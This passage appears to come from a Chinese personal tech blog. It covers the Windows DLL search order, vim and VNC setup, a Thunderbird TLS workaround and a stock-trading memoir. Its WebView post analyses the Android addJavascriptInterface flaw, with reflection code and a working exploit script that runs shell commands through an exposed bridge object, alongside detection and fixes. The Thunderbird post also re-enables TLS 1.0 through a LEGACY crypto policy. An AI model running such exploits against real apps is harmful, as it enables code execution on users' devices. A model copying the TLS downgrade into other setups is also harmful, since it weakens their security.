amework\v2.0.50727;D:\Program Files\Microsoft Visual Studio 9.0\VC\VCPackages;C:
\Program Files\\Microsoft SDKs\Windows\v6.0A\bin;C:\Windows\system32;C:\Windows;
d:\Program Files\CMake 2.8\bin;d:\Program Files\LLVM 3.4.svn\bin;d:\Program File
s\Git\cmd;d:\Python27;D:\Program Files\IDM Computer Solutions\UltraEdit\
PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\

引错误的原因是Windows程序加载DLL是会先加载PATH变量中的DLL文件,后面会加载manifest指定的WinSxS目录的文件,这样就加载了两次,引起了错误。

这个问题涉及 Windows加载DLL文件的顺序,Windows定位 DLL文件的顺序和一个注册表键值相关,这个键值是:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

SafeDllSearchMode的值为1,开启SafeDllSearchMode,
SafeDllSearchMode的值为0,禁用SafeDllSearchMode。

Windows系统默认开启SafeDllSearchMode (Windows XP SP2 后),MSDN文章《Dynamic-Link Library Search Order》中指出,在SafeDllSearchMode开启的情况下,Windows定位DLL文件的顺序为:

  1. The directory from which the application loaded.
  2. The system directory. ( GetSystemDirectory )
  3. The 16-bit system directory.
  4. The Windows directory. (GetWindowsDirectory )
  5. The current directory.
  6. The directories that are listed in the PATH environment variable.

在SafeDllSearchMode关闭的情况下,Windows定位DLL文件的顺序为:

  1. The directory from which the application loaded.
  2. The current directory.
  3. The system directory. (GetSystemDirectory )
  4. The 16-bit system directory.
  5. The Windows directory. ( GetWindowsDirectory)
  6. The directories that are listed in the PATH environment variable.

另外,《Dynamic-Link Library Search Order》中指出使用manifest可以指定加载DLL的路径,但实际的情况是有可能加载多个DLL导致进程崩溃。

Desktop applications can control the location from which a DLL is loaded by specifying a full path, using DLL redirection, or by using a manifest. If none of these methods are used, the system searches for the DLL at load time as described in this section.

参考资料

[1]《Windows via C/C++ Fifth Edition》
[2] Side-by-side Assemblies http://msdn.microsoft.com/en-us/library/aa376307.aspx
[3] DLL Hell http://en.wikipedia.org/wiki/Dll_hell
[4] C Run-Time Error R6034 http://msdn.microsoft.com/en-us/library/ms235560(v=vs.90).aspx
[5] Understanding Manifest Generation for C/C++ Programs http://msdn.microsoft.com/en-us/library/ms235542.aspx
[6] Search Path Used by Windows to Locate a DLL http://msdn.microsoft.com/en-us/library/7d83bc18.aspx
[7] Dynamic-Link Library Search Order http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx
[8] https://bitbucket.org/Haroogan/vim-youcompleteme-for-windows/src/7dca764c2ee0?at=master
[9] https://github.com/Valloric/YouCompleteMe/wiki/Windows-Installation-Guide
[10] http://www.davidlenihan.com/2007/07/winsxs.html

Android WebView 漏洞

☆ 来自 developer.android.com 的信息

Android 官方网站对addJavascriptInterface的介绍如下:

1
2
3
4
5
6
7
8
9
10
11
12
public void addJavascriptInterface (Object object, String name)  Added in API level 1

Injects the supplied Java object into this WebView. The object is injected into
the JavaScript context of the main frame, using the supplied name. This allows
the Java object's methods to be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN_MR1 and above, only public methods that are
annotated with JavascriptInterface can be accessed from JavaScript. For applications
targeted to API level JELLY_BEAN or below, all public methods (including the inherited ones)
can be accessed, see the important security note below for implications.

Note that injected objects will not appear in JavaScript until the page is next
(re)loaded. For example:
1
2
3
4
5
6
7
8
9

class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}

webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
This method can be used to allow JavaScript to control the host application. 
This is a powerful feature, but also presents a security risk for apps targeting
JELLY_BEAN or earlier. Apps that target a version later than JELLY_BEAN are still
vulnerable if the app runs on a device running Android earlier than 4.2. The
most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the
method is called only when running on Android 4.2 or later. With these older
versions, JavaScript could use reflection to access an injected object's public
fields. Use of this method in a WebView containing untrusted content could allow
an attacker to manipulate the host application in unintended ways, executing
Java code with the permissions of the host application. Use extreme care when
using this method in a WebView which could contain untrusted content.
JavaScript interacts with Java object on a private, background thread of this
WebView. Care is therefore required to maintain thread safety.

The Java object's fields are not accessible.
For applications targeted to API level LOLLIPOP and above, methods of injected
Java objects are enumerable from JavaScript. Parameters object the Java object
to inject into this WebView's JavaScript context. Null values are ignored.
name the name used to expose the object in JavaScript

之所以提供addJavascriptInterface是为了WebView中的Javascript可以和本地的App
通讯,这确实是一个很强大的功能,这么做的好处在于本地App逻辑不变的情况下,不
需要升级App就可以对程序进行更新,修改相应的Web页面就可以了。

☆ 相关知识

WebView的使用方法

在layout中定义 , 在Activity的onCreate中加入下面的代码

1
2
3
WebView webview = new WebView(this);
setContentView(webview);
webview.loadUrl("http://slashdot.org/");

Java Reflection

反射是java语言提供的一种机制,使Java程序可以在运行时检查类、接口、方法和成员,
而不需要在编译的时候知道类的名字和方法等细节信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

package Reflect;
import java.lang.reflect.Method;

class Demo {

public void a1() {
}

public void a2() {
}

}

class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {

Class c = mObjectClass.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime", null);
m.setAccessible(true);
Object obj = m.invoke(null, null);

Class c2 = obj.getClass();
String[] array = {"/bin/sh", "-c", "id > /tmp/id"};
Method n = c2.getMethod("exec", array.getClass());
n.invoke(obj, new Object[]{array});

} catch (Throwable e) {
System.out.println(e.toString());
}
}

}

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a2
method = a1
method = wait
method = wait
method = wait
method = equals
method = toString
method = hashCode
method = getClass
method = notify
method = notifyAll

命令执行成功。

通过reflection 访问private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

package Reflect;

import java.lang.reflect.Method;

class Demo {

private void a1() {
System.out.println("I am a1");
}

public void a2() {
System.out.println("I am a2");
}

}


class hello {

public static void main(String[] args) {

Demo demo=new Demo();
Class mObjectClass = demo.getClass();

System.out.println(mObjectClass.getName());

Method[] methods = mObjectClass.getDeclaredMethods();
for(Method method : methods){
System.out.println("method = " + method.getName());
}

try {
Object o = mObjectClass.newInstance();
methods[0].setAccessible(true);
methods[0].invoke(o);
} catch (Throwable e) {
}
}

}

运行结果:

1
2
3
4
5
6
7
> javac -d . Reflect/hello.java
> java Reflect.hello

Reflect.Demo
method = a1
method = a2
I am a1

已经成功调用了Demo的private a1 方法

☆ 相关漏洞

CVE-2013-4710

Disney Mobile、eAccess、KDDI、NTT DOCOMO、SoftBank设备上的Android 3.0至4.1.x版
本中存在安全漏洞,该漏洞源于程序没有正确实现WebView类。远程攻击者可借助特制的网
页利用该漏洞执行任意Java对象的方法或造成拒绝服务(重启)

CVE-2012-6636 (关键的CVE)

该漏洞源于程序没有正确限制使用WebView.addJavascriptInterface方法,远程攻击者可
通过使用Java Reflection 利用该漏洞执行任意Java对象的方法。影响使用 API Level 16
以及之前的Android 系统。(Android 4.2 为 API Level 17)

CVE-2014-1939 searchBoxJavaBridge_ in Android Jelly Bean

此漏洞公布了一个可利用的Java Object “searchBoxJavaBridge_”

CVE-2014-7224

根据 android/webkit/AccessibilityInjector.java 代码中的介绍,发现当系统辅助
功能中的任意一项服务被开启后,所有由系统提供的WebView都会被加入两个JS objects,
分别为是”accessibility” 和 “accessibilityTraversal”。如果APP使用了系统的WebView
并且设置了setJavaScriptEnabled(),那么恶意攻击者就可以使用”accessibility” 和
“accessibilityTraversal” 这两个Java Bridge来执行远程攻击代码

分析

这些CVE中最核心的是CVE-2012-6636, 出现的问题是接口定义问题。是非常经典的
do a 变成 do b 的例子,后面的修复方法也是保证了do a 就是 do a。

☆ 漏洞检测

使用WebView访问下面页面,输出的接口名称则存在漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>WebView漏洞检测</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=0">
</head>
<body>
<p>
<b>如果当前app存在漏洞,将会在页面中输出存在漏洞的接口方便程序员做出修改:</b>
</p>
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
window[obj].getClass();
document.write('<span style="color:red">'+obj+'</span>');
document.write('<br />');
}catch(e){
}
}
} catch(e) {
}
}
}
check();
</script>
</body>
</html>

现代浏览器都实现基本一致的BOM,使得JavaScript和浏览器进行消息传递。
是否有getClass的方法,可以作为检测WebView漏洞依据。

在Android 4.1.1 原生系统上测试,在默认配置下,存在 searchBoxJavaBridge_
可以利用,CVE-2014-7224上的两个接口,并没有成功暴露。看了源代码后发现必须
打开Accessibility 设置中的Enhance Web accessibility 才会暴露这个两个接口,
因此CVE-2014-7224的影响并不像想象中的那么大。

☆ 漏洞利用的方法

1
2
3
4
5
6
7
<script>
function execute(cmd){
return
window.jsinterface.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

jsinterface是导出的Java对象, 测试成功,权限是app 的用户权限。

☆ 修复方法和现状

Google宣布不为小于Android 4.4 的系统提供WebView补丁, 具体可以参见链接:

https://community.rapid7.com/community/metasploit/blog/2015/01/11/google-no-longer-provides-patches-for-webview-jelly-bean-and-prior

要解决WebView的RCE漏洞,比较靠谱的方法是升级Android系统,至少要升级到
API level 17 (Android 4.2), WebView 除了最严重的RCE漏洞,还有各种SOP漏洞,所
以至少要升级到Android 4.4才能保证安全,小于Android 4.4 Google不提供补丁。
Android 4.4 以后使用以chrome为基础的WebView。

升级系统API level 17后,只有显示添加 @JavascriptInterface的方法才能被JavaScript
调用,这样反射就失去作用了。

1
2
3
removeJavascriptInterface("accessibility");
removeJavascriptInterface("accessibilityTraversal");
removeJavascriptInterface("searchBoxJavaBridge_");

☆ 参考链接

☆ 思考

WebView 中还提供了一个方法让我们可以获得控制的机会

1
2
3
4
5
6
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.substring(0,6).equalsIgnoreCase("yourscheme:")) {
// parse the URL object and execute functions
}
}

如果使用上面的代码,在网页的javascript中添加下面的代码,就可以进入后面的解析
URL流程,如果后续代码没有进行严格的检查可能会有一些其他的安全问题。

1
window.location = yourscheme://method?parameter=value

Google对这个方法的解释如下:

1
2
3
4
5
6
7
Give the host application a chance to take over the control when a new url 
is about to be loaded in the current WebView. If WebViewClient is not
provided, by default WebView will ask Activity Manager to choose the proper
handler for the url. If WebViewClient is provided, return true means the
host application handles the url, while return false means the current
WebView handles the url. This method is not called for requests using
the POST "method".

其实就是当WebView加载新的URL时给App程序一个控制的机会,这还是有一些想象空间的。

Fedora 安装 vnc server

因为疫情,现在公司启用远程办公了,不得已在工作机上开了vncserver,这篇文档做个记录。

(1) 安装

1
sudo dnf install tigervnc-server

(2) 创建服务

1
cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@.service

编辑 /etc/systemd/system/vncserver@.service 替换下面两行的USER为实际用户名

1
2
ExecStart=/sbin/runuser -l USER -c "/usr/bin/vncserver %i -geometry 1280x1024"
PIDFile=/home/USER/.vnc/%H%i.pid

执行命令 systemctl daemon-reload

使用vpnpasswd修改密码

1
2
3
4
~]# su - USER
~]$ vncpasswd
Password:
Verify:

启动vncserver的命令行

1
sudo systemctl start vncserver@:1

参考文档:

https://docs.fedoraproject.org/en-US/Fedora/21/html/System_Administrators_Guide/ch-TigerVNC.html

(3)直接调用命令行

使用上面的方法过于繁琐,可以直接调用 vncserver 的命令行

vncserver :2 -geometry 1920x1080 -depth 24

(4) 改变vnc的默认桌面

vim ~/.vnc/xstartup

1
2
3
4
5
6
7
#!/bin/sh

unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
#exec /etc/X11/xinit/xinitrc

exec /bin/sh /etc/xdg/xfce4/xinitrc

必须改变默认桌面,要不可能登录不进去。

其他

个人觉得从安全角度看,使用命令启用 vncserver 是比较合理的,要用了就打开,用完就关。另外vncserver 连接加了一层 tunnel,安全无小事。

vim 输入特殊字符

vim 的编辑能力确实很强,今天说一下如何在vim中输入特殊字符,比如音标、unicode 字符。

http://vimhelp.appspot.com/digraph.txt.html
http://vimhelp.appspot.com/insert.txt.html#i_CTRL-V_digit

关键就在上面两篇,可能许多人不喜欢看复杂的文章,我这里简单介绍一下用法。

输入音标 ə

i 进入编辑模式 CTRL-vu0259
那如何知道 ə 的 unicode hex number 是 0259呢,在vim的normal 模式下,将光标移动到ə输入ga

输入 ⇒

i 进入编辑模式 CTRL-k=>
:dig 可以看到支持这种方法输入的unicode 字符

ThunerBird 78.8.1 连接 TLS 1.0 失败问题和 Linux 乱谈

我在公司使用 Linux 作用主力机已经 10 多年了,自从抛弃 Ubuntu 转入 Fedora 怀抱,生活幸福了不少。
早年最大的问题是 OFFICE 软件,工作中少不了要和 doc、ppx,xls 打交道,又没有太好的软件可以使用。
刚开始基本就两个解决方案,wine office 和永中 OFFICE,这两个方案都不是太理想,wine 的速度很慢,
永中则兼容性比较差,还会出现文档格式看起来就有明显差异的情况。。

随着金山 wps 的发展,现在 OFFICE 的问题基本解决,作为轻度 EXCEL 使用者基本已经满足需求了。Linux
现在主要问题是字体渲染比较差,中文经常看起来发虚,如果能把这个问题彻底解决就非常不错了。作为Linux
老用户,各种魔改后,也能较好使用了,但后面发现还是换个显示器更管用。要解决中文显示问题,有两个
字体很管用,文泉驿微米黒和微软雅黑,实践证明把系统字体用上面两个字体替换,显示效果也就好了不少了。

Ubuntu Linux 最大的问题就是不太稳定,基本每次大版本升级显示都要挂,弄得我都有点心理阴影了,原来
周围还挺多同学使用 Linux,最终放弃了,一个直接用 Windows 了,还有一个 Windows 上跑一个 Linux 虚拟机。
Ubuntu 还有个坏习惯喜欢乱改,upstart,Unity等,后面都没有成为主流,bug 就更不用说了,经常挺闹心的。

Fedora 从近些年的使用情况来看,还是很不错的,网络中流传是 Redhat Linux Enterprise 的小白版本,
但是其实只要 bug 修得快,你大概率是感觉不到的。遇上问题,放狗一搜就会发现 redhat 已经有 bug 在
处理中了,于是乎就有了今天这篇。

在升级到 Fedara 33 和 ThunderBird 78 后,使用 TLS 连接公司的 ExChange 邮件服务器就连不上了。
我们公司的内网安全审核非常严格,邮件不使用加密连接要限时整改。放狗一搜发现,大批人员都遇上了
相同的问题,也有人给出了解决方案。

https://support.mozilla.org/en-US/questions/1295861

1
2
3
4
I think this could be due to the minimum version of TLS supported by TB 78. The release notes state 
that versions lower than 1.2 are disabled, so if your server only supports v. 1.1,
you might be able to fix sending by changing the preference security.tls.version.min to 2 from the default 3, in Config. editor.

https://www.thunderbird.net/en-US/thunderbird/78.0/releasenotes/

1
TLS 1.0 and 1.1 disabled

如何开启 TLS 1.0, mozilla 也给出了相应的方案

https://support.mozilla.org/en-US/kb/thunderbird-78-faq#w_how-to-enable-outdated-security-protocols-tls-1-0-and-1-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
How to enable outdated security protocols TLS 1.0 and 1.1

Open Config Editor (about:config)
≡ > Preferences > Find in Preferences
In the searchbox, type: about:config, then press Enter.
Click on the button Config Editor… in the search result.
In the about:config dialog, search for: security.tls.version.min
Double-click on the found preference security.tls.version.min and change its value to 1, then press Enter.
Restart Thunderbird and try to download your messages.
If you can receive and/or send your messages after changing this preference:

Please inform your email provider to upgrade the security protocols on the server to support TLS 1.2.
Revert the preference security.tls.version.min to its original value as soon as possible by repeating
the above procedure, then right-click on the preference and choose Reset from the context menu.

看上去解决方案很简单,在 Preferences 中的搜索框里输入 about:config 点击进入,将其中的
security.tls.version.min 设置为 1 就好了,但是在 Fedora 34 中不起作用。我用 wireshark 抓了包看,
ThunderBird 自己报告不支持的协议版本。我仔细研究了一下 ThunderBird 相关的 config 项有下面几个:

1
2
3
security.tls.version.min
security.tls.version.enable-deprecated
security.tls.version.fallback-limit

我把这几个选项都设置了一下,分别设置为 1 true 1,还是不管用。

在 Fedora 33 上这个问题就没解决,这都 Fedora 34 了,所以又花了时间研究了一下。没好办法,放狗,运气
不错,看到了这篇

https://bugzilla.mozilla.org/show_bug.cgi?id=1674092#c11

原来 Fedora 还有个 StrongCryptoSettings ,看文档可以修改

1
2
3
update-crypto-policies --set DEFAULT:FEDORA32
update-crypto-policies --set LEGACY
reboot

关键的内容就是下面这几行

cat /etc/crypto-policies/state/CURRENT.pol

1
2
min_tls_version = TLS1.2
protocol = TLS1.3 TLS1.2 DTLS1.2

执行后变为

1
2
min_tls_version = TLS1.0
protocol = TLS1.3 TLS1.2 TLS1.1 TLS1.0 DTLS1.2 DTLS1.0

重启系统后,又可以开心地使用 ThunderBird 了 ^_^

VIM + SVN 管理

公司使用svn管理源代码,避免不了要和svn打交道,有几个比较好的解决方案。

1. vcscommand.vim

http://www.vim.org/scripts/script.php?script_id=90

这个插件的特点是支持的版本管理工具多,支持git,svn等常见版本管理工具。
vcscommand.vim插件默认绑定了无差别的快捷键,使用起来非常方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|<Leader>|ca VCSAdd
|<Leader>|cn VCSAnnotate
|<Leader>|cN VCSAnnotate!
|<Leader>|cc VCSCommit
|<Leader>|cD VCSDelete
|<Leader>|cd VCSDiff
|<Leader>|cg VCSGotoOriginal
|<Leader>|cG VCSGotoOriginal!
|<Leader>|ci VCSInfo
|<Leader>|cl VCSLog
|<Leader>|cL VCSLock
|<Leader>|cr VCSReview
|<Leader>|cs VCSStatus
|<Leader>|cu VCSUpdate
|<Leader>|cU VCSUnlock
|<Leader>|cv VCSVimDiff

这个 <Leader> 得看你定义了什么快捷键,vim 默认的是 \

2. vim-unite-svn

小日本写的unite.vim的svn插件,unite.vim 是一个非常不错的vim插件,
它的作用是 为vim 写简单界面,要使用vim-unite-svn首先需要安装unite.vim 插件,
折腾这个插件的原因是vcscommand.vim有些不太好的地方。

  • buffer管理的不太好
  • status 比较弱
  • 羡慕emacs的vc mode的体验

https://github.com/Shougo/unite.vim

小日本写的 vim-unite-svn 插件太久没有更新了,有一些bug,我修改了一下,用了
一段时间暂时没有发现什么问题。

https://github.com/henices/vim-unite-svn

支持基本的svn命令, svn status, svn info, svn diff, svn commit, svn up

使用示例

1
2
3
:Unite svn/status
:Unite svn/diff
:Unite svn/blame

个人炒股经历

本人IT男一枚,2015年入市,到今天5年多了,所幸还在吃人不露骨头的市场上活着,也是非常不容易。基本不存在什么特殊情况,韭菜总是在人声鼎沸的牛市高点入场,本人也不例外,上证3500多点入市,上证3800多点让媳妇买了沪深 300 基金 (不是ETF),这基金今年才解套,小赚出局了。

运气好的是,2015年的时候中了一支新股,新股的收益对冲了倒金字塔加仓的回撤,小赚1万元出局清了仓,有时候我也在想如果不是这赚了1万,是不是也就不会继续炒股了。接下来的事情大家都很熟悉了,熔断和股灾3.0,一直在不赚和小亏中挣扎着,居然也坚持了下来。理工男的特质救了我,从2015年开始认真学习股票操作,恶补基础知识,分时,K线,缺口,价量关系,缠论,波浪理论,箱体理论,趋势交易,价值投资,基本各种理论都看了遍,其实到最后发现有用的东西太少了,关于股票的书也基本没啥用,真正有用的书可能就那么几本,可是如果不看几十本的话,你怎么知道哪几本有用呢?所以炒股并不存在什么捷径,一夜暴富基本是神话,为啥呢?盈亏同源,怎么赚钱就可能怎么亏回去,除非你知道你为什么能赚钱。

下面是这些年的心得,应该可以涨几年功力吧?

要在市场上生存你必须具备某种优势,没有这种优势就是纯赌博,真正赚钱的是要做大概率的投机。买卖股票实际上是对股票做分类,哪些可以做,哪些不可以做,这就涉及了股票交易系统,有了交易系统,剩下的就是执行问题了,要做到BDWQ,后面就是仓位计算,根据股票的波动和你愿意承担的风险程度计算出来。

回首看虽然现在稳定盈利了,又回到了灵魂拷问,投入的时间值得吗?对于很多人来说,最重要可能是资金的原始积累,10万块,翻10倍,100万在中国很多城市一套房也买不了,更不用说财富自由了,所以先努力工作吧,边工作边加大投资比例,梦想还是要有的,万一实现了呢?